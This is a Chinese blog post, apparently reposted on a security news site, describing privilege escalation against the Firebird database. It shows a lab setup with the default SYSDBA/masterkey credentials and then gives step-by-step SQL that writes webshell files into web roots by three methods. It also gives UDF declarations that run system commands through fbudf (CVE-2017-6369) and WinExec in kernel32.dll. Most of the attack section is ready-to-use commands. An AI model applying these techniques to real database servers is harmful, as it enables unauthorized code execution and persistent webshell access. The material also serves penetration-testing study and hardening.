Firebird数据库提权姿势总结

VSole2022-03-24 07:21:52
文章来源 :酒仙桥六号部队

在一次端口探测中,发现了3050端口,第一时间没想到是什么服务在运行,查了查,居然是冷门的Firebird。

翻看了网上的资料,几乎没有。在国外看到一个汇总贴,但里面存在几处报错情况,作者却以某些情况下可能会执行成功,一笔带过了,而报错原因就在官方文档写着,属于某些较新版本的安全调整。

Firebird实在是冷门,在某友人鼓励下,遂有此文。

1、Firebird数据库简介

Firebird是一个跨平台的关系数据库系统,目前能够运行在Windows、linux和各种Unix操作系统上,提供了大部分SQL-99标准的功能。它既能作为多用户环境下的数据库服务器运行,也提供嵌入式数据库的实现。

Firebird脱胎于Borland公司的开源版数据库Interbase6.0,是一个完全非商业化的产品,用C和C++开发。由于与interbase的血缘关系,大部分interbase的开发工具可以直接应用到Firebird开发中。Firebird使用MozillaPublic License v.1.1许可证发行。

一个Firebird数据库服务器能够管理多个独立的数据库,每一个数据库同时可支持多个客户端连接。

准备环境和工具:

安装Firebird,我选择在Windows Server 2019安装了Firebird服务端。

安装包地址:

"http://firebirdsql.org/en/firebird-3-0-7/"

靶机IP:10.211.55.5 ,部署好以后重启,会默认开放3050端口。

在Kali安装Firebird客户端,首先执行:

sudo apt-get -y install firebird3.0-utils

也可以试试跨平台的图形化工具flamerobin。

地址:

"https://github.com/mariuz/flamerobin/releases"

安装过程中,默认以SuperServer模式运行,如果一直按Next,注意看英文小字,不输入用户名和密码,默认用户名就是SYSDBA,默认密码masterkey。

安装好之后重启,对外开放默认端口3050。

创建或者第一次连接数据库的同时,必须使用该用户名以及密码来实现访问,否则会报错。具体命令如下:

SQL>createdatabase '[新建数据库的路径以及名称,后缀名称为.FDB]'user 'sysdba' password 'masterkey';

需要说明的是,一条命令一定是以“;”结束的。否则会在下一行显示“CON>”,即继续之前的命令。

快速入门——官方文档参考:

"https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

2、3种姿势

介绍一下Firebird写webshell的3种姿势。

常规的SQL语句写webshell

这一种方法通用性最好,可以在足够权限的路径下,创建任意后缀的文件。但缺点就是生成的webshell体积大,创建简单的一句话木马,大小就超过1Mb,有许多数据库写入的脏字符。

如果你的webshell代码特别多,选用下文的第三种方法。执行完几行SQL语句,最后要EXIT才会成功写入文件。

CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
CREATETABLE a ( x BLOB);
INSERTINTO a VALUES ('');
COMMIT;
EXIT;

外部表写webshell

先创建一个不存在的数据库文件,然后创建外部表。外部表就是我们的webshell,再对其写入内容,但是由于firebird.conf的默认安全配置,写入被阻止了。

CREATEDATABASE '10.211.55.5/3050:C:on-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
INSERTINTO a values ('<%= date() %>');

不推荐实战使用,非默认配置才能成功,需要管理员修改配置文件firebird.conf,参考官方文档说明:

"https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

增量写shell

先创建一个不存在的数据库文件,再创建额外的增量文件,执行备份,写入webshell内容,这种方法在最新的Firebird测试下有效,虽然还有脏字符,但是生成的webshell文件只有64KB,能正常执行,推荐采用这种方式提权。

CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a( x blob);
ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
ALTERDATABASE BEGIN BACKUP;
INSERTINTO a VALUES ('');
COMMIT;
EXIT;

3、UDF提权

Linux的UDF提权CVE-2017-6369这个漏洞,影响范围Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,该漏洞是由于默认安全配置是”UdfAccess= Restrict UDF“,允许任意权限的数据库用户通过调用fbudf.so执行代码。攻击代码如下:

SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL>SELECT FIRST 1 exec('') FROM any_table LIMIT 1;

windows的UDF提权

对应的windows的UDF提权攻击代码如下,在新版本中被限制了:

CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file1' user 'SYSDBA'password 'masterkey';
DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
SELECTFIRST 1 EXEC('', 1) FROM any_table LIMIT 1;

参考文档:

"https://firebirdsql.org/rlsnotesh/config-fb-conf.html"

亲测了一下,可以调用Firebird安装目录UDF文件夹的dll文件,比如:

C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll


Firebird的安全防范手段和高版本的MYSQL一样,要完成UDF提权,就要配合其他漏洞了。

4、总结

本文主要介绍了Firebird数据库提权,包括3种SQL语句写webshell的姿势,以及不同平台下的UDF提权。其他的RCE漏洞可以参考metasploit攻击模块,但是都挺有年代感了。

以下是参考资料:

"https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

"https://www.infosecmatter.com/firebird-database-exploitation/"

"https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

"http://tracker.firebirdsql.org/browse/CORE-5474"


数据库firebird
本作品采用《CC 协议》,转载必须注明作者和本文链接
Firebird是一个跨平台的关系数据库系统,目前能够运行在Windows、linux和各种Unix操作系统上,提供了大部分SQL-99标准的功能。它既能作为多用户环境下的数据库服务器运行,也提供嵌入式数据库的实现。
今天猿妹就和大家分享另一款基于Java 开发,免费开源的通用数据库管理和开发工具——DBeaver。安装方式DBeaver需要Java1.8+才能运行。
记一次SQLmap实战
2021-09-28 07:41:13
简介:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目
渗透测试,也被称为穿透测试或道德黑客攻击,就像电影《Sneakers》中那样,黑客顾问在攻击者之前侵入你的公司网络,找出弱点。这是一个模拟的网络攻击,pentester使用恶意黑客可用的工具和技术。
这些工具大多数是免费开源的安全工具,只有两款是收费工具
工欲善其事,必先利其器。既然如今已经有了更为便捷、快速的渗透测试工具,这对现代渗透测试工作者无疑是有很大的帮助的。以下列出了他们使用的一些工具。 一、Kali Linux Kali是基本的渗透测试操作系统,为大多数人采用,除非是掌握尖端知识或有特殊情况。Kali以前称为BackTrack Linux,由Offensive Security(OffSec,进行OSCP认证)的优秀人员维护,如今在各
The Hacker News 网站消息,网络安全公司卡巴斯基在其 2023 年第三季度 APT 趋势报告中透露,一个名为 DoNot Team 的黑客组织与使用名为 Firebird 的新型基于 .NET 的后门,针对巴基斯坦和阿富汗发起了网络攻击。
年初,研究人员发现了针对亚太地区政府的持续攻击。这起攻击事件,通过攻击特定类型的安全USB驱动器达成,这种安全的USB驱动器被国家的政府机构用来在计算机系统之间,安全地存储和物理传输数据,该驱动器提供硬件加密。
VSole
网络安全专家